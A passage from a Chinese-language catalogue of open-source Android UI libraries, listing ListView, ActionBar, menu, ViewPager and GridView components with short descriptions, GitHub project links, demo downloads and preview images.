Item 高度不一、单选、复选、CursorAdapter 做为适配器、拖动背景变化等 项目地址:https://github.com/bauerca/drag-sort-listview Demo 地址:https://play.google.com/store/apps/details?id=com.mobeta.android.demodslv APP 示例:Wordpress Android 1. SwipeListView 支持定义 ListView 左右滑动事件,支持左右滑动位移,支持定义动画时间 项目地址:https://github.com/47deg/android-swipelistview Demo 地址:https://play.google.com/store/apps/details?id=com.fortysevendeg.android.swipelistview APP 示例:微信 1. Android-SlidingLayout 实现类似QQ、微信ListView和WebView的上拉下拉弹跳效果和iOS的ListView的果冻效果。兼容Android自带库和兼容库的所有View组件,包括RecyclerView、ListView、ScrollView以及WebView等等。 ![p1](https://raw.githubusercontent.com/HomHomLin/SlidingLayout/master/pic/list.gif) ![p2](https://raw.githubusercontent.com/HomHomLin/SlidingLayout/master/pic/webview.gif) 项目地址:https://github.com/HomHomLin/SlidingLayout/。 Demo地址:https://github.com/HomHomLin/SlidingLayout/tree/master/demo 1. SlideAndDragListView 支持ListView的Item的拖动排序、左右滑动事件,可自定义左右滑动显示文字、图标、位移,同时支持onItemClick、onItemLongClick等监听器,提供丰富的回调接口。 项目地址:https://github.com/yydcdut/SlideAndDragListView Demo 地址:https://github.com/yydcdut/SlideAndDragListView/blob/master/apk/sdlv.apk?raw=true APP 示例:Android 手机QQ 5.0 效果图:![Renderings](https://raw.githubusercontent.com/yydcdut/SlideAndDragListView/master/gif/v1.1.gif) 1. Android-SwipeToDismiss 滑动 Item 消失 ListView,支持 3.0 以下版本见:https://github.com/JakeWharton/SwipeToDismissNOA 项目地址:https://github.com/romannurik/Android-SwipeToDismiss Demo 地址:https://github.com/JakeWharton/SwipeToDismissNOA/SwipeToDismissNOA.apk/qr_code 1. RecyclerViewSwipeDismiss 轻量级支持 support-v7 中的 RecyclerView 的滑动删除(Swipe to dismiss)行为,不需要修改源代码,只要简单的绑定`onTouchListener` 项目地址:https://github.com/CodeFalling/RecyclerViewSwipeDismiss 效果图:![Renderings](https://raw.githubusercontent.com/CodeFalling/RecyclerViewSwipeDismiss/master/RecyclerViewSwipeDismiss.gif) 1. QuickSideBar 帮助快速查阅对应分组的侧边栏,可以配合任意列表,demo中给出配合RecyclerView(浮动分组使用stickyheadersrecyclerview)。 项目地址:https://github.com/saiwu-bigkoo/Android-QuickSideBar 效果图:![Renderings](https://github.com/saiwu-bigkoo/Android-QuickSideBar/blob/master/preview/quicksidebardemo.gif) 1. async-expandable-list 支持异步加载子列表的 ExpandableListView,包括CollectionView可以显示小标题的列表 项目地址:https://github.com/Ericliu001/async-expandable-list 效果图: ![Demo](https://cloud.githubusercontent.com/assets/3691022/19348717/0d6c98ec-919b-11e6-97c3-a8ff782a059b.gif) ![Demo](https://cloud.githubusercontent.com/assets/3691022/19406879/cb982648-92da-11e6-86bf-7c82e8505e6c.gif) 1. PinnedHeaderExpandableListView 首先它是一个 ExpandableListView,但是它的头部可以固定,其次,在它的上面还有一个头部可以来回伸缩 项目地址:https://github.com/singwhatiwanna/PinnedHeaderExpandableListView 效果图:![Renderings](https://camo.githubusercontent.com/fa7f516b0b6e2921007a17cbc359b3f661f32226/687474703a2f2f696d672e626c6f672e6373646e2e6e65742f32303134303531313135313534363834333f77617465726d61726b2f322f746578742f6148523063446f764c324a736232637559334e6b626935755a58517663326c755a33646f5958527064324675626d453d2f666f6e742f3561364c354c32542f666f6e7473697a652f3430302f66696c6c2f49304a42516b46434d413d3d2f646973736f6c76652f37302f677261766974792f536f75746845617374) APP 示例:百度手机卫士垃圾清理界面 1. StickyListHeaders GroupName 滑动到顶端时会固定不动直到另外一个 GroupName 到达顶端的 ExpandListView,支持快速滑动,支持 Android2.3 及以上 项目地址:https://github.com/emilsjolander/StickyListHeaders 效果图:![Renderings](https://raw.github.com/emilsjolander/StickyListHeaders/master/demo.gif) APP 示例:Android 4.0 联系人 1. pinned-section-listview GroupName 滑动到顶端时会固定不动直到另外一个 GroupName 到达顶端的 ExpandListView 项目地址:https://github.com/beworker/pinned-section-listview 效果图:![Renderings](https://raw.github.com/beworker/pinned-section-listview/master/screen1.png) 1. PinnedHeaderListView GroupName 滑动到顶端时会固定不动直到另外一个 GroupName 到达顶端的 ExpandListView 项目地址:https://github.com/JimiSmith/PinnedHeaderListView 1. QuickReturn ListView/ScrollView 的 header 或 footer,当向下滚动时消失,向上滚动时出现 项目地址:https://github.com/lawloretienne/QuickReturn Demo 地址:https://play.google.com/store/apps/details?id=com.etiennelawlor.quickreturn 1. QuickReturnHeader ListView/ScrollView 的 header 或 footer,当向下滚动时消失,向上滚动时出现 项目地址:https://github.com/ManuelPeinado/QuickReturnHeader Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/quick-return-header-demo.apk?raw=true APP 示例:google plus 1. IndexableListView ListView 右侧会显示 item 首字母快捷索引,点击可快速滑动到某个 item 项目地址:https://github.com/woozzu/IndexableListView Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/indexable-listview.apk?raw=true APP 示例:微信通讯录、小米联系人 1. CustomFastScrollView ListView 快速滑动,同时屏幕中间 PopupWindows 显示滑动到的 item 内容或首字母 项目地址:https://github.com/nolanlawson/CustomFastScrollViewDemo 效果图:![Renderings](https://raw.github.com/nolanlawson/CustomFastScrollViewDemo/master/example.png) 1. Android-ScrollBarPanel ListView 滑动时固定的 Panel 指示显示在 scrollbar 旁边 项目地址:https://github.com/rno/Android-ScrollBarPanel 效果图:![Renderings](https://github.com/rno/Android-ScrollBarPanel/raw/master/demo_capture.png) 1. SlideExpandableListView 用户点击 listView item 滑出固定区域,其他 item 的区域收缩 项目地址:https://github.com/tjerkw/Android-SlideExpandableListView Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/slide-expandable-listView-demo.apk?raw=true 1. JazzyListView ListView 及 GridView item 以特殊动画效果进入屏幕,效果包括 grow、cards、curl、wave、flip、fly 等等 项目地址:https://github.com/twotoasters/JazzyListView Demo 地址:https://play.google.com/store/apps/details?id=com.twotoasters.jazzylistview.sample 在线演示:http://lab.hakim.se/scroll-effects/ 1. ListViewAnimations 带 Item 显示动画的 ListView,动画包括底部飞入、其他方向斜飞入、下层飞入、渐变消失、滑动删除等 项目地址:https://github.com/nhaarman/ListViewAnimations Demo 地址:https://play.google.com/store/apps/details?id=com.haarman.listviewanimations APP 示例:Google plus、Google Now 卡片式进入、小米系统中应用商店、联系人、游戏中心、音乐、文件管理器的 ListView、Ultimate、Light Flow Lite、TreinVerkeer、Running Coach、Pearl Jam Lyrics、Calorie Chart、Car Hire、Super BART、DK FlashCards、Counter Plus、Voorlees Verhaaltjes 2.0 1. DevsmartLib-Android 横向 ListView 项目地址:https://github.com/dinocore1/DevsmartLib-Android Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/horizontal-listview-demo.apk?raw=true 1. TwoWayView 横向 ListView 的效果,继承自 AdapterView 项目地址:https://github.com/lucasr/twoway-view 1. HorizontalVariableListView 支持 Item 宽度不一致的 ListView 项目地址:https://github.com/sephiroth74/HorizontalVariableListView 1. LinearListView 用 LinearLayout 实现的 ListView,可解决多个 ListView 并存等问题。目前自己也有需要,等亲自尝试过后会再具体介绍 项目地址:https://github.com/frankiesardo/LinearListView 1. MultiChoiceAdapter 支持多选的 ListView Adapter 项目地址:https://github.com/ManuelPeinado/MultiChoiceAdapter Demo 地址:https://play.google.com/store/apps/details?id=com.manuelpeinado.multichoiceadapter.demo 1. EnhancedListView 支持横向滑动删除列表项以及撤销删除的 ListView,该项目的前身是[SwipeToDismissUndoList](https://github.com/timroes/SwipeToDismissUndoList) 项目地址:https://github.com/timroes/EnhancedListView Demo 地址:https://play.google.com/store/apps/details?id=de.timroes.android.listviewdemo&rdid=de.timroes.android.listviewdemo 1. ListBuddies 自动滚动的双列 ListView ,两个 ListView 滚动速度不一致,有视差效果 项目地址:https://github.com/jpardogo/ListBuddies Demo 地址:https://play.google.com/store/apps/details?id=com.jpardogo.android.listbuddies 效果图:![Renderings](https://raw.github.com/jpardogo/ListBuddies/master/art/screenshot_listbuddies_2.png) 1. SwipeMenuListView 针对 ListView item 的侧滑菜单 项目地址:https://github.com/baoyongzhang/SwipeMenuListView 效果图:![Renderings](https://raw.githubusercontent.com/baoyongzhang/SwipeMenuListView/master/demo.gif) APP 示例:手机 QQV5.0 1. PagingListView 分页加载的 ListView。当滑动到 ListView 底部最后一个元素时,显示一个进度行,然后加载下一页数据,并显示。 项目地址:https://github.com/nicolasjafelle/PagingListView 1. PullZoomView 支持下拉时 HeaderView 缩放的 ListView、ScrollView 项目地址:https://github.com/Frank-Zhu/PullZoomView 效果图:![Renderings](https://raw.githubusercontent.com/Frank-Zhu/PullZoomView/master/art/pull-to-zoom.gif) 1. PullToZoomInListView 滑动 ListView 时使其 HeaderView 跟随滑动缩放 项目地址:https://github.com/matrixxun/PullToZoomInListView 效果图:![Renderings](https://github.com/matrixxun/PullToZoomInListView/raw/master/art/pull-to-zoom.gif) 1. CalendarListview 实现每个月一行日历效果的 ListView 项目地址:https://github.com/traex/CalendarListview 原理剖析文档:[CalendarListview](https://a.codekk.com/detail/Android/Rogary/CalendarListView%20%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90) 效果图:![Renderings](https://github.com/traex/CalendarListview/raw/master/demo.gif) 1. sticky-headers-recyclerview GroupName 滑动到顶端时会固定不动直到另外一个 GroupName 到达顶端的 ListView,采用 support-v7 中的 RecyclerView 实现 项目地址:https://github.com/timehop/sticky-headers-recyclerview 1. PullSeparateListView 到达顶部或底部继续拉动时,实现 Item 间的相互分离,两种模式:(1) 全部分离的模式,即屏幕内所有 Item 都会分离 (2)部分分离模式,以点击位置为分界点,部分 item 分离 项目地址:https://github.com/chiemy/PullSeparateListView 效果图:![Renderings](https://github.com/chiemy/PullSeparateListView/raw/master/capture.gif) 1. ExpandableLayout Header 和 Content Item 都可以展开的 ExpandableListview 项目地址:https://github.com/traex/ExpandableLayout 1. PagedHeadListView 支持 paginated header 以及 material page indicator 的 ListView. 项目地址:https://github.com/JorgeCastilloPrz/PagedHeadListView 效果图:![Renderings](https://raw.githubusercontent.com/JorgeCastilloPrz/PagedHeadListView/master/app/src/main/res/raw/preview1.gif) 1. CustomSwipeListView 支持左滑弹出自定义菜单,右滑删除且允许撤销,同时可以自定义滑动动画时间和滑动触发事件的时机等。 项目地址:https://github.com/xyczero/Android-CustomSwipeListView Demo 地址:[Download here](http://7u2jsw.com1.z0.glb.clouddn.com/githubCustomSwipeListView.apk) 效果图:![Renderings](http://7u2jsw.com1.z0.glb.clouddn.com/githubCustomSwipeListview_Set.PNG) 1. Pull-to-Refresh.Rentals-Android 提供一个简单可以自定义的下拉刷新实现,[Yalantis](http://yalantis.com/) 出品。 项目地址:https://github.com/Yalantis/Pull-to-Refresh.Rentals-Android 效果图:![Renderings](https://camo.githubusercontent.com/d406ac5a03a2b1fa5cf41fadc8d2408cb8709bdc/68747470733a2f2f6431337961637572716a676172612e636c6f756466726f6e742e6e65742f75736572732f3132353035362f73637265656e73686f74732f313635303331372f7265616c6573746174652d70756c6c5f312d322d332e676966) 1. ScrollerCalendar 实现每行显示一年的 12 个月份的 RecyclerView 年历 项目地址:https://github.com/guanchao/ScrollerCalendar 效果图:![Renderings](https://raw.githubusercontent.com/guanchao/ScrollerCalendar/master/images/sample2.gif) 1. ExtractWordView 一个可以提取单词的 ListView,支持"放大镜"效果。 项目地址:https://github.com/jcodeing/ExtractWordView Demo 地址:[Download here](https://raw.githubusercontent.com/jcodeing/ExtractWordView/master/ExtractWordView-demo.apk) ![Renderings](https://raw.githubusercontent.com/jcodeing/ExtractWordView/master/lookme.gif) 1. FlyRefresh 支持 ListView, GridView, RecyclerView, ScrollView 的下拉刷新 项目地址:https://github.com/race604/FlyRefresh 效果图:![Renderings](https://raw.githubusercontent.com/race604/FlyRefresh/master/images/flyrefresh.gif) 1. MVCHelper 实现下拉刷新,滚动底部自动加载更多,分页加载,自动切换显示网络失败布局,暂无数据布局,支持任意 view,真正的 MVC 架构 支持切换主流下拉刷新框架 Android-PullToRefresh-Library,android-Ultra-Pull-To-Refresh-library,SwipeRefreshLayout 项目地址:https://github.com/LuckyJayce/MVCHelper Demo 地址:https://github.com/LuckyJayce/MVCHelper/blob/master/raw/MVCHelper_Demo.apk?raw=true 1. RecyclerViewSwipeDismiss 支持滑动 Item 操作、点击展开、拖动排序、展开后拖动排序等特性的 RecyclerView 项目地址:https://play.google.com/store/apps/details?id=com.h6ah4i.android.example.advrecyclerview 视频:http://www.youtube.com/watch?feature=player_embedded&v=S7cSwMArjUQ 1. WaterDropListView 模仿 iOS 下拉刷新“水滴”效果,支持下拉刷新和上拉加载 项目地址:https://github.com/THEONE10211024/WaterDropListView 效果图:![Renderings](https://github.com/THEONE10211024/WaterDropListView/blob/master/demo/demo.gif) 1. PopupListView 實現ListItem 點擊後置頂並可顯示客製化添加的item的內部View 的ListView 项目地址:https://github.com/s8871404/PopupListView Demo 地址:https://play.google.com/store/apps/details?id=com.baobomb.popuplistview_sample 效果图:![Renderings](https://github.com/s8871404/PopupListView/blob/master/example.gif) 1. CircleRefreshLayout 一个包含有趣的动画的自定义下拉刷新布局 项目地址:https://github.com/tuesda/CircleRefreshLayout 效果图: ![Renderings](https://raw.githubusercontent.com/tuesda/CircleRefreshLayout/master/gif/circlerefresh.gif) 1. EasyRecyclerView 一款简单易用的EasyRecyclerView 1.提供EasyRecyclerView,不需要写太多RecyclerView的配置代码 2.提供好一个可以适配单布局和多布局的RecyclerViewAdapter 3.提供了分割线的实现类,只需要传入一个DrawableId 项目地址:https://github.com/CaMnter/EasyRecyclerView 1. CanRefresh 可适配所有视图的下拉刷新上拉加载,并支持各种风格 项目地址:https://github.com/canyinghao/CanRefresh 效果图: ![Renderings](https://raw.githubusercontent.com/canyinghao/CanRefresh/master/pic/CanRefresh.gif) 1. NestRefreshLayout 下拉刷新及加载更多控件,支持多种View,可以自定义Header和Footer 由于实现了NestedScrollingChild和NestedScrollingParent所以与Support-Design兼容,可以配合CollapsingToolbarLayout使用 项目地址:https://github.com/anzewei/NestRefreshLayout Demo 地址:https://github.com/anzewei/NestRefreshLayout/blob/master/ext/sample-debug.apk?raw=true 1. SnappingSwipingRecyclerView 实现了类似微信读书首页的长按之后滑动删除的特效和动画 <img src="https://raw.githubusercontent.com/CarlLee/SnappingSwipingRecyclerView/master/preview.gif" height="480" width="320" > 项目地址:https://github.com/CarlLee/SnappingSwipingRecyclerView #### 二、ActionBar 1. ActionBarSherlock 为 Android 所有版本提供统一的 ActionBar,解决 4.0 以下 ActionBar 的适配问题 项目地址:https://github.com/JakeWharton/ActionBarSherlock Demo 地址:https://play.google.com/store/apps/details?id=com.actionbarsherlock.sample.demos 标签:兼容库, ActionBar 1. ActionBar-PullToRefresh 下拉刷新,ActionBar 出现加载中提示 项目地址:https://github.com/chrisbanes/ActionBar-PullToRefresh Demo 地址:https://play.google.com/store/apps/details?id=uk.co.senab.actionbarpulltorefresh.samples.stock APP 示例:Gmail,Google Plus,知乎等 1. FadingActionBar ListView 向下滚动逐渐显现的 ActionBar 项目地址:https://github.com/ManuelPeinado/FadingActionBar Demo 地址:https://play.google.com/store/apps/details?id=com.manuelpeinado.fadingactionbar.demo APP 示例:google music,知乎 1. NotBoringActionBar google music 下拉收缩的 ActionBar 项目地址:https://github.com/flavienlaurent/NotBoringActionBar Demo 地址:http://flavienlaurent.com/blog/2013/11/20/making-your-action-bar-not-boring/ APP 示例:Google 音乐 1. RefreshActionItem 带进度显示和刷新按钮的 ActionBar 项目地址:https://github.com/ManuelPeinado/RefreshActionItem Demo 地址:https://play.google.com/store/apps/details?id=com.manuelpeinado.refreshactionitem.demo APP 示例:The New York Times,DevAppsDirect 1. GlassActionBar 类似玻璃的有一定透明度的 ActionBar 项目地址:https://github.com/ManuelPeinado/GlassActionBar Demo 地址:https://play.google.com/store/apps/details?id=com.manuelpeinado.glassactionbardemo APP 示例:google music #### 三、Menu 1. MenuDrawer 滑出式菜单,通过拖动屏幕边缘滑出菜单,支持屏幕上下左右划出,支持当前 View 处于上下层,支持 Windows 边缘、ListView 边缘、ViewPager 变化划出菜单等。 项目地址:https://github.com/SimonVT/android-menudrawer Demo 地址:http://simonvt.github.io/android-menudrawer/ APP 示例:Gmail、Google Music 等大部分 google app 1. SlidingMenu 滑出式菜单,通过拖动屏幕边缘滑出菜单,支持屏幕左右划出,支持菜单 zoom、scale、slide up 三种动画样式出现。与 MenuDrawer 相比而言,SlidingMenu 支持菜单动画样式出现,MenuDrawer 支持菜单 view 处于内容的上下层 项目地址:https://github.com/jfeinstein10/SlidingMenu 原理剖析文档:[SlidingMenu](https://a.codekk.com/detail/Android/huxian99/SlidingMenu 源码解析) Demo 地址:https://play.google.com/store/apps/details?id=com.slidingmenu.example APP 示例:Foursquare, LinkedIn, Zappos, Rdio, Evernote Food, Plume, VLC for Android, ESPN ScoreCenter, MLS MatchDay, 9GAG, Wunderlist 2, The Verge, MTG Familiar, Mantano Reader, Falcon Pro (BETA), MW3 Barracks 1. ArcMenu 支持类似 Path 的左下角动画旋转菜单及横向划出菜单、圆心弹出菜单 项目地址:https://github.com/daCapricorn/ArcMenu 效果图:![Renderings](https://dl.dropboxusercontent.com/u/11369687/preview0.png) https://dl.dropboxusercontent.com/u/11369687/preview1.png https://dl.dropboxusercontent.com/u/11369687/raymenu.png APP 示例:Path 1. android-satellite-menu 类似 Path 的左下角动画旋转菜单 项目地址:https://github.com/siyamed/android-satellite-menu Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/satellite-menu-demo.apk?raw=true APP 示例:Path 1. radial-menu-widget 圆形菜单,支持二级菜单 项目地址:https://code.google.com/p/radial-menu-widget/ 效果图:![Renderings](http://farm8.staticflickr.com/7377/11621125154_d1773c2dcc_o.jpg) 1. Android Wheel Menu 圆形旋转选取菜单 项目地址:https://github.com/anupcowkur/Android-Wheel-Menu 效果图:![Renderings](https://raw.github.com/anupcowkur/Android-Wheel-Menu/master/graphics/wheel.gif) 1. FoldingNavigationDrawer 滑动并以折叠方式打开菜单 项目地址:https://github.com/tibi1712/FoldingNavigationDrawer-Android Demo 地址:https://play.google.com/store/apps/details?id=com.ptr.folding.sample 效果图:![Renderings](https://lh6.ggpht.com/VnKUZenAozQ0KFAm5blFTGqMaKFjvX-BK2JH-jrX1sIXVTqciACqRhqFH48hc4pm2Q=h310-rw) 1. AndroidResideMenu 仿 Dribbble 的边栏菜单 项目地址:https://github.com/SpecialCyCi/AndroidResideMenu 效果图:![Renderings](https://github.com/SpecialCyCi/AndroidResideMenu/raw/master/2.gif) 1. CircularFloatingActionMenu 一个可定制的圆形的浮动菜单控件,类似于 Path 的圆形菜单。这个控件的可定制性更强,可以很容易的定制菜单出现消失时的动画,起始角度和半径。 项目地址:https://github.com/oguzbilgener/CircularFloatingActionMenu 原理剖析文档:[CircularFloatingActionMenu](https://a.codekk.com/detail/Android/cpacm/CircularFloatingActionMenu 源码解析) Demo 地址:https://github.com/oguzbilgener/CircularFloatingActionMenu/tree/master/samples 效果图:![Renderings](https://raw.githubusercontent.com/oguzbilgener/CircularFloatingActionMenu/master/assets/circularfab.gif) 1. NavigationDrawerSI Navigation Drawer 的一个简单实现,滑动并以折叠方式打开菜单 项目地址:https://github.com/mmBs/NavigationDrawerSI Demo 地址:https://play.google.com/store/apps/details?id=mmbialas.pl.navigationdrawersi 效果图:![Renderings](https://raw.githubusercontent.com/mmBs/NavigationDrawerSI/master/images/screens.png) APP 示例:https://play.google.com/store/apps/details?id=mmbialas.pl.navigationdrawersi 1. DragLayout 使用 support.v4 包下的 ViewDragHelper 实现 QQ5.0 侧滑 项目地址:https://github.com/BlueMor/DragLayout 效果图:![Renderings](https://github.com/BlueMor/DragLayout/raw/master/screenshots/123.gif) 1. LDrawer Material Design 形式的展开折叠 Icon 项目地址:https://github.com/ikimuhendis/LDrawer 效果图:![Renderings](https://raw.githubusercontent.com/IkiMuhendis/LDrawer/master/images/animated.gif) 1. Floating Action Button 悬浮的圆形菜单栏,支持组建滚动时自动隐藏及其他设置 项目地址:https://github.com/shamanland/floating-action-button 效果图:![Renderings](https://camo.githubusercontent.com/c679cb23cf62830b0d4037e17cf2d8d4090bc3c8/68747470733a2f2f64726976652e676f6f676c652e636f6d2f75633f69643d3042776830534e4c506d6a5142526b466f5a4530345646393051324d) 1. Side-Menu.Android 分类侧滑菜单,[Yalantis](http://yalantis.com/) 出品。 项目地址:https://github.com/Yalantis/Side-Menu.Android 原理剖析文档:[Side-Menu.Android](https://a.codekk.com/detail/Android/cpacm/Side Menu.Android 源码解析) 效果图:![Renderings](https://camo.githubusercontent.com/cb6caa7a392d01d46bca9d9485c01fc173f55fac/68747470733a2f2f6431337961637572716a676172612e636c6f756466726f6e742e6e65742f75736572732f3132353035362f73637265656e73686f74732f313638393932322f6576656e74732d6d656e755f312d312d362e676966) 1. Context-Menu.Android 可以方便快速集成漂亮带有动画效果的上下文菜单,[Yalantis](http://yalantis.com/)出品。 项目地址:https://github.com/Yalantis/Context-Menu.Android 效果图:![Renderings](https://camo.githubusercontent.com/46c15734b552ce3afefa7efd1518909046b4677e/68747470733a2f2f6431337961637572716a676172612e636c6f756466726f6e742e6e65742f75736572732f3132353035362f73637265656e73686f74732f313738353237342f39396d696c65732d70726f66696c652d6c696768745f312d312d342e676966) 1. Droppy 支持多种样式的下拉菜单 项目地址:https://github.com/shehabic/Droppy 1. MaterialDrawer Material Design 风格的导航抽屉,提供简便且强大的定制功能 项目地址:https://github.com/mikepenz/MaterialDrawer Demo 地址:https://play.google.com/store/apps/details?id=com.mikepenz.materialdrawer.app 效果图:![Renderings](https://raw.githubusercontent.com/mikepenz/MaterialDrawer/master/DEV/screenshots/screenshot1_small.png) 1. SlideBottomPanel 底部划出菜单,滑动时背景图透明度渐变,支持嵌套 LiewView 或 ScrollView 项目地址:[https://github.com/kingideayou/SlideBottomPanel](https://github.com/kingideayou/SlideBottomPanel) Demo 地址:[SlideBottomPanelDemo 下载](https://github.com/kingideayou/SlideBottomPanel/raw/master/apk/SlideBottomPanelDemo.apk) 效果图:![Renderings](https://github.com/kingideayou/SlideBottomPanel/blob/master/imgs/demo_list_view.gif) 1. FlowingDrawer 带手势流动效果侧滑菜单 项目地址:[https://github.com/mxn21/FlowingDrawer](https://github.com/mxn21/FlowingDrawer) 效果图:![Renderings](https://github.com/mxn21/FlowingDrawer/raw/master/screen.gif) 1. FloatingActionMenu-Animation 扩展FloatingActionMenu库,自定义菜单图标,动画滚动时 项目地址: https://github.com/toanvc/FloatingActionMenu-Animation 效果图: ![Renderings](https://github.com/toanvc/FloatingActionMenu-Animation/raw/master/screenshots/scale.gif) #### 四、ViewPager 、Gallery 1. AdvancedPagerSlidingTabStrip 一个完美兼容ViewPager的导航栏组件;可以自定义TabView;能动态加载Tab上的Icon图片; 能显示Tab的消息数量和提示小圆点;支持自定义为微博形式的可滑动tab。 ![p1](https://raw.githubusercontent.com/HomHomLin/AdvancedPagerSlidingTabStrip/master/Pic/Screen_20160216163404.png) ![p2](https://raw.githubusercontent.com/HomHomLin/AdvancedPagerSlidingTabStrip/master/Pic/Screen_20160411141706.png) 项目地址:https://github.com/HomHomLin/AdvancedPagerSlidingTabStrip。 1. ConvenientBanner 通用的广告栏控件,让你轻松实现广告头效果。支持无限循环,可以设置自动翻页和时间(而且非常智能,手指触碰则暂停翻页,离开自动开始翻页。你也可以设置在界面onPause的时候不进行自动翻页,onResume之后继续自动翻页),并且提供多种翻页特效。 对比其他广告栏控件,大多都需要对源码进行改动才能加载网络图片,或者帮你集成不是你所需要的图片缓存库。而这个库能让有代码洁癖的你欢喜,不需要对库源码进行修改你就可以使用任何你喜欢的网络图片库进行配合。 项目地址:https://github.com/saiwu-bigkoo/Android-ConvenientBanner 效果图:![Renderings](https://github.com/saiwu-bigkoo/Android-ConvenientBanner/blob/master/preview/convenientbannerdemo.gif) 1. Android-ViewPagerIndicator 配合 ViewPager 使用的 Indicator,支持各种位置和样式 项目地址:https://github.com/JakeWharton/Android-ViewPagerIndicator Demo 地址:https://play.google.com/store/apps/details?id=com.viewpagerindicator.sample APP 示例:太多了。。 1. JazzyViewPager 支持 Fragment 切换动画的 ViewPager,动画包括转盘、淡入淡出、翻页、层叠、旋转、方块、翻转、放大缩小等,效果类似桌面左右切换的各种效果,不过桌面并非用 ViewPager 实现而已 项目地址:https://github.com/jfeinstein10/JazzyViewPager Demo 地址:https://github.com/jfeinstein10/JazzyViewPager/blob/master/JazzyViewPager.apk?raw=true 1. JellyViewPager 特殊切换动画的 ViewPager 项目地址:https://github.com/chiemy/JellyViewPager 效果图:![Renderings](https://github.com/chiemy/JellyViewPager/raw/master/capture.gif) 1. Android-DirectionalViewPager 支持横向和纵向(垂直)的 ViewPager 项目地址:https://github.com/JakeWharton/Android-DirectionalViewPager Demo 地址:https://market.android.com/details?id=com.directionalviewpager.sample 1. FancyCoverFlow 支持 Item 切换动画效果的类似 Gallery View 项目地址:https://github.com/davidschreiber/FancyCoverFlow Demo 地址:https://play.google.com/store/apps/details?id=at.technikum.mti.fancycoverflow.samples 效果图:![Renderings](https://github-camo.global.ssl.fastly.net/ef5ced52b7b54652b50499521ed797c0188c7a6b/687474703a2f2f64617669647363687265696265722e6769746875622e696f2f46616e6379436f766572466c6f772f73637265656e73686f74322e706e67) 1. AndroidTouchGallery 支持双击或双指缩放的 Gallery(用 ViewPager 实现),相比下面的 PhotoView,在被放大后依然能滑到下一个 item,并且支持直接从 url 和文件中获取图片, 项目地址:https://github.com/Dreddik/AndroidTouchGallery Demo 地址:https://github.com/Trinea/TrineaDownload/blob/master/touch-gallery-demo.apk?raw=true APP 示例:类似微信中查看聊天记录图片时可双击放大,并且放大情况下能正常左右滑动到前后图片 1. Android Auto Scroll ViewPager Android 自动滚动 轮播循环的 ViewPager 项目地址:https://github.com/Trinea/android-auto-scroll-view-pager Demo 地址:https://play.google.com/store/apps/details?id=cn.trinea.android.demo 文档介绍:https://www.trinea.cn/android/auto-scroll-view-pager/ 1. Android PagerSlidingTabStrip 配合 ViewPager 使用的 Indicator,支持 ViewPager Scroll 时 Indicator 联动 项目地址:https://github.com/astuetz/PagerSlidingTabStrip 原理剖析文档:[Android PagerSlidingTabStrip](https://a.codekk.com/detail/Android/ayyb1988/PagerSlidingTabStrip 源码解析) Demo 地址:https://play.google.com/store/apps/details?id=com.astuetz.viewpager.extensions.sample 1. ViewPager3D ViewPager3D 效果 项目地址:https://github.com/inovex/ViewPager3D 1. AnimaTabsview 仿网易云音乐标签切换的动画,带透明小三角 项目地址:https://github.com/wuyexiong/transparent-over-animtabsview 在线演示:http://v.youku.com/v_show/id_XNzA4MjY5NjA0.html 1. LoopingViewPager 无限循环的 ViewPager 项目地址:https://github.com/imbryk/LoopingViewPager 1. android_page_curl 翻书卷曲效果 项目地址:https://github.com/harism/android_page_curl 在线演示:https://www.youtube.com/watch?v=iwu7P5PCpsw APP 示例:iReader 1. ViewPagerIndicator 简化并实现 android 的 TabHost 效果,顶部滑动 tab,引导页,支持自定义 tab 样式,自定义滑动块样式和位置,自定义切换 tab 的过渡动画,子界面的预加载和界面缓存,设置界面是否可滑动 项目地址:https://github.com/LuckyJayce/ViewPagerIndicator 1. ScreenSlideIndicator 轻量级的圆形 Indicadtor,位置可以自由调整,不会对 ViewPager 产生任何影响。 项目地址:[ScreenSlidePager](https://github.com/LyndonChin/Android-ScreenSlidePager) 效果图:![Renderings](https://github.com/LyndonChin/AndroidScreenSlidePager/raw/master/art/sample.gif) 1. SmartTabLayout 自定义的 Tab title strip,基于 Google Samples 中的 android-SlidingTabBasic 项目,滑动时 Indicator 可平滑过渡。 项目地址:https://github.com/ogaclejapan/SmartTabLayout Demo 地址:https://play.google.com/store/apps/details?id=com.ogaclejapan.smarttablayout.demo 效果图:![Renderings](https://raw.githubusercontent.com/ogaclejapan/SmartTabLayout/master/art/demo1.gif) 1. AndroidImageSlider Android 图片滑动 项目地址:https://github.com/daimajia/AndroidImageSlider 效果图:![Renderings](https://camo.githubusercontent.com/f64413139bbaa918131384d3597c33e39333aa7f/687474703a2f2f7777332e73696e61696d672e636e2f6d773639302f36313064633033346a773165677a6f7236366f6a64673230393530666b6e70652e676966) App 示例:https://github.com/daimajia/AndroidImageSlider/releases/download/v1.0.8/demo-1.0.8.apk 1. RecyclerViewPager 完全继承自 RecyclerView,可以自定义触发翻页的距离,可自定义翻页速度,支持垂直方向的 ViewPager,支持 Fragment。 项目地址:[RecyclerViewPager](https://github.com/lsjwzh/RecyclerViewPager) 效果图:![Renderings](https://github.com/lsjwzh/RecyclerViewPager/blob/master/fragment.gif) 1. CircleIndicator 轻量级ViewPager指示器,支持三种不同的模式 项目地址:[CircleIndicator]( https://github.com/THEONE10211024/CircleIndicator) 效果图:![Renderings]( https://github.com/THEONE10211024/CircleIndicator/blob/master/demo/inside.gif) ![Renderings]( https://github.com/THEONE10211024/CircleIndicator/blob/master/demo/outside.gif) ![Renderings]( https://github.com/THEONE10211024/CircleIndicator/blob/master/demo/solo.gif) 1. EasySlidingTabs 一款简单、易用的滑动标签页 项目地址: https://github.com/CaMnter/EasySlidingTabs 效果图: ![Renderings](https://raw.githubusercontent.com/CaMnter/EasySlidingTabs/master/readme/readme_easy_sliding_tabs_1.png) 1. ParallaxViewPager ViewPager页面切换视差效果 项目地址:https://github.com/ybq/ParallaxViewPager 效果图: ![Renderings](https://github.com/ybq/ParallaxViewPager/raw/master/art/screen.gif) #### 五、GridView 1. StaggeredGridView 允许非对齐行的 GridView,类似 Pinterest 的瀑布流,并且跟 ListView 一样自带 View 缓存,继承自 ViewGroup 项目地址:https://github.com/maurycyw/StaggeredGridView Demo 